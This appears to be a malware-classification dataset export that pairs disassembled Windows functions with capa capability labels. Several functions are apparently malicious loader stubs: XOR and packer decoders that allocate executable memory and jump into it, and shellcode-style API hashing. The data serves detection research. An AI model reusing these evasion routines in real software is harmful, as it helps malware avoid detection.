joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d90
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [str.2__], ebp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4061d0], eax
xor eax, eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x406164], eax
mov dword [0x406104], eax
mov dword [0x406150], 0x30
mov dword [0x406154], 2
xor eax, eax
mov dword [0x406158], 0x403c0c
mov dword [0x40615c], eax
mov dword [0x406160], eax
mov eax, str.popular
mov dword [0x406170], 0xe
mov dword [0x406178], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x40616c], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x406168], eax
mov dword [0x40617c], eax
push 0x406150
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x406104]
push 0
push 0
push 0x1ea
push 0x208
push 0xfffff60a
push 0xfffff6d2
push 0xcf0000
push str.ground
push str.popular
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x4061c4], eax
push 5
push eax
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x4061c4]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x406180]
jmp 0x401e92
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x401e84
mov eax, dword [0x406188]
call fcn.00403458
ret
Function at 0x4036c2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea edx, [0x4061e8]
mov ecx, edx
mov eax, dword [edx]
inc ecx
inc ecx
inc ecx
inc ecx
mov edi, dword [ecx]
mov ecx, eax
mov eax, dword [edi]
add edi, 4
mov esi, edi
mov ebx, esi
add edi, eax
mov edx, edi
dec edx
sub ecx, eax
dec ecx
dec ecx
dec ecx
dec ecx
lea eax, [0x4061e8]
mov dword [eax], ecx
inc eax
inc eax
inc eax
inc eax
mov dword [eax], edi
push ecx
mov ch, byte [edi]
mov al, byte [0x406139]
add al, byte [esi]
xor al, ch
mov byte [edi], al
mov eax, edx
cmp esi, eax
je 0x403712
inc esi
pop ecx
inc edi
dec ecx
jne 0x4036f6
jmp 0x403716
mov esi, ebx
jmp 0x40370b
mov edi, esi
push 0x39
push 0x4061e8
push 0x111
push dword [0x4061c4]
call dword [sym.imp.user32.dll_SendMessageA]
mov ecx, dword [0x4061e8]
mov edi, dword [0x4061ec]
mov esi, dword [0x4061dc]
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x403742
mov esi, dword [0x406134]
mov ecx, dword [0x406130]
push ecx
add ecx, esi
mov dword [0x4061a8], ecx
pop ecx
mov eax, dword [esi]
inc esi
inc esi
nop
inc esi
inc esi
mov edi, dword [0x4061dc]
mov ebx, esi
add ebx, eax
mov dword [0x4061a4], ebx
mov edx, esi
add esi, eax
mov ecx, 0
movzx eax, byte [edx]
inc eax
cmp edx, ebx
jae 0x4037e9
cmp eax, ecx
jae 0x40378e
ret
sub eax, ecx
mov ecx, eax
test ecx, ecx
je 0x40379f
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x403796
inc edx
mov al, byte [edx]
inc edx
movzx ecx, byte [edx]
test ecx, ecx
je 0x4037b2
push ecx
mov byte [edi], al
inc edi
dec ecx
jne 0x4037ab
pop ecx
inc edx
movzx eax, byte [edx]
inc cl
cmp cl, 0
jne 0x4037d3
inc al
cmp al, 0
jne 0x4037cb
inc edx
movzx eax, word [edx]
inc edx
inc edx
jmp 0x4037cf
mov al, 0
dec al
dec cl
jmp 0x4037e5
dec cl
inc al
cmp al, 0
jne 0x4037e3
inc edx
movzx eax, word [edx]
inc edx
inc edx
jmp 0x4037e5
dec al
jmp 0x403785
mov ecx, dword [0x4061a8]
sub ecx, esi
test ecx, ecx
je 0x4037fe
mov al, byte [esi]
mov byte [edi], al
inc esi
inc edi
dec ecx
jne 0x4037f5
mov edi, dword [0x4061dc]
mov dword [0x4061dc], edi
ret
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40611c
pop dword [ebp - 0x20]
mov eax, 0x40611c
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x99cc2bcd
add dword [ebp - 0x30], 0xb486197e
mov dword [ebp - 0x2c], 0x2836e30d
add dword [ebp - 0x2c], 0x9fc6938
mov dword [ebp - 0x28], 0x97064d42
sub dword [ebp - 0x28], 0x4aba0914
mov dword [ebp - 0x24], 0x9de2470e
add dword [ebp - 0x24], 0x621db8f2
lea eax, [ebp - 0x30]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xed02100
sub dword [ebp - 0x30], 0x9a5db7aa
mov dword [ebp - 0x2c], 0xac0cbb4
sub dword [ebp - 0x2c], 0xc9546a3f
mov dword [ebp - 0x28], 0xc8ba149
add dword [ebp - 0x28], 0x56e3cb23
mov dword [ebp - 0x24], 0x686423e
add dword [ebp - 0x24], 0xf979bdc2
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x7ab15ee5
sub eax, 0x7a70ede5
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3c0cf
push 0
call eax
mov ecx, 0x4fe8b525
sub ecx, 0x4fe85760
xor edx, edx
add edx, eax
mov edi, 0x8ce4956f
add edi, 0x735c6a91
add edi, dword [ebp - 0x20]
mov esi, 0x7afdb420
add esi, 0xc7283a79
xor dword [ebp - 0x10], 0x48d1cf00
mov ebx, dword [edi]
add dword [ebp - 4], edi
add ebx, esi
add dword [ebp - 0x18], 0x25a8e14c
mov dword [edx], ebx
sub dword [ebp - 4], ecx
add edx, 4
add edi, 0xb98fec36
add edi, 0x467013ce
loop 0x406236
add eax, 0xdcde8414
sub eax, 0xdcdd1a2d
mov ebx, eax
add eax, 0xf4c199e5
sub eax, 0xf4c199e0
mov ecx, 0x4f82ec2e
sub ecx, 0x4f42ec2e
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x40a680
Capabilities:
Resolve function by parsing pe exports

Disassembly:
nop
xor edi, edi
nop
movzx ecx, word [edx + 0x26]
mov esi, dword [edx + 0x28]
xor eax, eax
lodsb al, byte [esi]
nop
cmp al, 0x61
nop
jmp 0x40a5d8
jl 0x40a60c
jmp 0x40a5eb
nop
jmp 0x40a5fc
sub al, 0x20
jmp 0x40a60c
nop
jmp 0x40a617
ror edi, 0xd
nop
jmp 0x40a62a
add edi, eax
dec ecx
jne 0x40a5c7
jmp 0x40a63d
push edx
push edi
nop
mov edx, dword [edx + 0x10]
jmp 0x40a64f
mov eax, dword [edx + 0x3c]
nop
jmp 0x40a663
add eax, edx
mov eax, dword [eax + 0x78]
test eax, eax
nop
je 0x40a803
nop
jmp 0x40a67e
add eax, edx
mov ecx, dword [eax + 0x18]
nop
jmp 0x40a695
mov ebx, dword [eax + 0x20]
jmp 0x40a6a5
add ebx, edx
jmp 0x40a6b1
push eax
jmp 0x40a6be
jmp 0x40a6c9
test ecx, ecx
jmp 0x40a6d9
je 0x40a7f0
nop
nop
xor edi, edi
nop
dec ecx
mov esi, dword [ebx + ecx*4]
jmp 0x40a6f4
add esi, edx
nop
jmp 0x40a701
nop
jmp 0x40a70e
xor eax, eax
ror edi, 0xd
nop
jmp 0x40a723
lodsb al, byte [esi]
nop
add edi, eax
cmp al, ah
jne 0x40a701
jmp 0x40a73b
jmp 0x40a749
add edi, dword [ebp - 8]
nop
cmp edi, dword [ebp + 0x24]
nop
jmp 0x40a760
jne 0x40a6be
nop
nop
pop eax
nop
mov ebx, dword [eax + 0x24]
nop
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
nop
jmp 0x40a783
add ebx, edx
jmp 0x40a798
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
nop
pop ebx
jmp 0x40a7b7
pop ebx
jmp 0x40a7ca
popal
jmp 0x40a7d9
pop ecx
pop edx
nop
jmp 0x40a7ec
push ecx
nop
jmp eax
nop
pop eax
nop
jmp 0x40a803
nop
pop edi
nop
jmp 0x40a819
pop edx
mov edx, dword [edx]
nop
jmp 0x40a5bc
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x408379
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x408388
pop dword [ebp - 0x40]
mov eax, 0x936b3e10
add eax, 0x6cd54578
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x3823e
push 0
mov eax, 0x92f243be
add eax, 0x6d4e9d1a
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x8e54147f
sub ecx, 0x8e53d0e1
xor ebx, ebx
add ebx, eax
mov edx, 0x7d95f0d
add edx, 0xf867dcb7
add edx, dword [ebp - 0x40]
mov edi, 0x97bc5487
xor dword [ebp - 0x20], 0x3f61e46a
mov esi, dword [edx]
sub dword [ebp - 8], 0x114a5da6
sub esi, edi
xor dword [ebp - 0x2c], edx
mov dword [ebx], esi
sub dword [ebp - 0x1c], 0x49005646
add ebx, 0x2fe5b95b
add ebx, 0xd01a46a9
add edx, 0x28fe1eb
sub edx, 0x28fe1e7
loop 0x4083e3
add eax, 0x1d6ccc8
add eax, 0xfe2a3483
mov ebx, eax
add eax, 0xddafc566
add eax, 0x22503a9f
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x40f560
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40b015
lea edi, [esi - 0xa015]
push edi
or ebp, 0xffffffff
jmp 0x40f582
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f589
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f578
mov eax, 1
add ebx, ebx
jne 0x40f59b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f590
jne 0x40f5ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f590
xor ecx, ecx
sub eax, 3
jb 0x40f5c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f632
mov ebp, eax
add ebx, ebx
jne 0x40f5cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f5d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f5fc
inc ecx
add ebx, ebx
jne 0x40f5e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f5dd
jne 0x40f5f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f5dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f61c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f60d
jmp 0x40f57e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f61c
add edi, ecx
jmp 0x40f57e
pop esi
mov edi, esi
mov ecx, 0x210
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f63a
cmp byte [edi], 5
jne 0x40f63a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40f63f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f6ae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1040c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x104c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f66c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x104c4]
or eax, eax
je 0x40f6a8
mov dword [ebx], eax
add ebx, 4
jmp 0x40f689
call dword [esi + 0x104d4]
mov ebp, dword [esi + 0x104c8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40f6e2
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x4035ed
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x4035fc
pop dword [ebp - 0x40]
mov eax, 0x4035fc
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x40128b40
add dword [ebp - 0x50], 0xe3fba0b
mov dword [ebp - 0x4c], 0x97f8ec6c
sub dword [ebp - 0x4c], 0x65c5a027
mov dword [ebp - 0x48], 0x4a8ae1c5
sub dword [ebp - 0x48], 0xfe3e9d97
mov dword [ebp - 0x44], 0xa7574c5b
sub dword [ebp - 0x44], 0xa7574c5b
lea eax, [ebp - 0x50]
push eax
mov eax, 0x83353384
add eax, 0x7d0b3c98
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xa1af57ea
sub dword [ebp - 0x50], 0x2d3cee94
mov dword [ebp - 0x4c], 0x6629d753
sub dword [ebp - 0x4c], 0x24bd75de
mov dword [ebp - 0x48], 0x82eb4786
sub dword [ebp - 0x48], 0x1f7bdb1a
mov dword [ebp - 0x44], 0x792f891a
add dword [ebp - 0x44], 0x86d076e6
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x3aa459ce
sub eax, 0x3a63e9ae
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x39f3d
push 0
call eax
mov ecx, 0x1e1a660b
add ecx, 0xe1e5eb04
xor edx, edx
add edx, eax
mov esi, 0x72a0c670
sub esi, 0x725ffe70
add esi, dword [ebp - 0x40]
mov ebx, 0x435d20a3
add ebx, 0x24f650ed
mov edi, dword [esi]
sub edi, ebx
xor dword [ebp - 0x24], edx
mov dword [edx], edi
mov dword [ebp - 0xc], 0xa2fd53b6
add edx, 4
add esi, 0xb47a1c85
sub esi, 0xb47a1c81
loop 0x40371b
add eax, 0x92bc328b
sub eax, 0x92bafb7c
xor ebx, ebx
add ebx, eax
add eax, 0xecd49bb1
add eax, 0x132b6454
mov ecx, 0x522af295
add ecx, 0xae150d6b
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x4045aa
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4068f8
call fcn.0040545b
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x4045c9
mov al, 1
jmp 0x404692
test esi, esi
je 0x404690
xor ebx, ebx
cmp word [esi], bx
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x404690
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.004035ed
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x404684
lea eax, [ebp - 0x28]
push eax
call fcn.004035ed
pop ecx
test al, al
jne 0x404684
cmp dword [ebp - 0x18], esi
jbe 0x404684
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x404684
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x404684
push 0x407628
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401780
mov al, bl
jmp 0x404692
xor al, al
call fcn.00405416
ret
Function at 0x401a10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov dword [ebp - 0x114], str._system32777.dll
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [ebp - 0x114]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 3
push 0
push 3
push 1
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xffffffff
je 0x401a7f
cmp dword [ebp - 0x118], 0
je 0x401a7f
jmp 0x401ae3
mov ecx, dword [ebp + 8]
cmp dword [ecx + 4], 0
je 0x401ae3
mov dword [ebp - 0x11c], 0x15f
mov edx, dword [ebp + 8]
add edx, 8
mov dword [0x439954], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
mov dword [0x439970], ecx
mov dword [ebp - 0x11c], 0x15f
mov dword [ebp - 0x11c], 0x15f
call fcn.004011b0
mov edx, dword [ebp + 8]
mov dword [0x43996c], edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 1
call fcn.004013b0
add esp, 0xc
mov dword [ebp + 8], eax
jmp 0x401a7f
mov esp, ebp
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x432072
nop
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x40b348f8
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
nop
nop
mov eax, section..text_1
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x46555f71
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x43ebb0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x43ebce
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x43ebc3
pop esi
ret

Function at 0x43ed10
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x43eda2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x43ed94
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x43ed8c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x43ed55
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x56a124e
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
mov eax, str.zn
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x7a1e04de
nop
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x40d491
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405fe3
and dword [ebp - 4], 0
cmp dword [0x429458], 0
mov ebx, eax
jne 0x40d542
push 0x402cb4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d5f3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402ca8
push edi
call esi
test eax, eax
je 0x40d5f3
push eax
call fcn.00405f71
mov dword [esp], 0x402c98
push edi
mov dword [0x429458], eax
call esi
push eax
call fcn.00405f71
mov dword [esp], 0x402c84
push edi
mov dword [0x42945c], eax
call esi
push eax
call fcn.00405f71
mov dword [esp], 0x402c68
push edi
mov dword [0x429460], eax
call esi
push eax
call fcn.00405f71
pop ecx
mov dword [0x429468], eax
test eax, eax
je 0x40d542
push 0x402c50
push edi
call esi
push eax
call fcn.00405f71
pop ecx
mov dword [0x429464], eax
mov eax, dword [0x429464]
cmp eax, ebx
je 0x40d59a
cmp dword [0x429468], ebx
je 0x40d59a
push eax
call fcn.00405fec
push dword [0x429468]
mov esi, eax
call fcn.00405fec
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d59a
test edi, edi
je 0x40d59a
call esi
test eax, eax
je 0x40d591
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d591
test byte [ebp - 0xc], 1
jne 0x40d59a
or dword [ebp + 0x10], 0x200000
jmp 0x40d5d3
mov eax, dword [0x42945c]
cmp eax, ebx
je 0x40d5d3
push eax
call fcn.00405fec
pop ecx
test eax, eax
je 0x40d5d3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d5d3
mov eax, dword [0x429460]
cmp eax, ebx
je 0x40d5d3
push eax
call fcn.00405fec
pop ecx
test eax, eax
je 0x40d5d3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429458]
call fcn.00405fec
pop ecx
test eax, eax
je 0x40d5f3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d5f5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219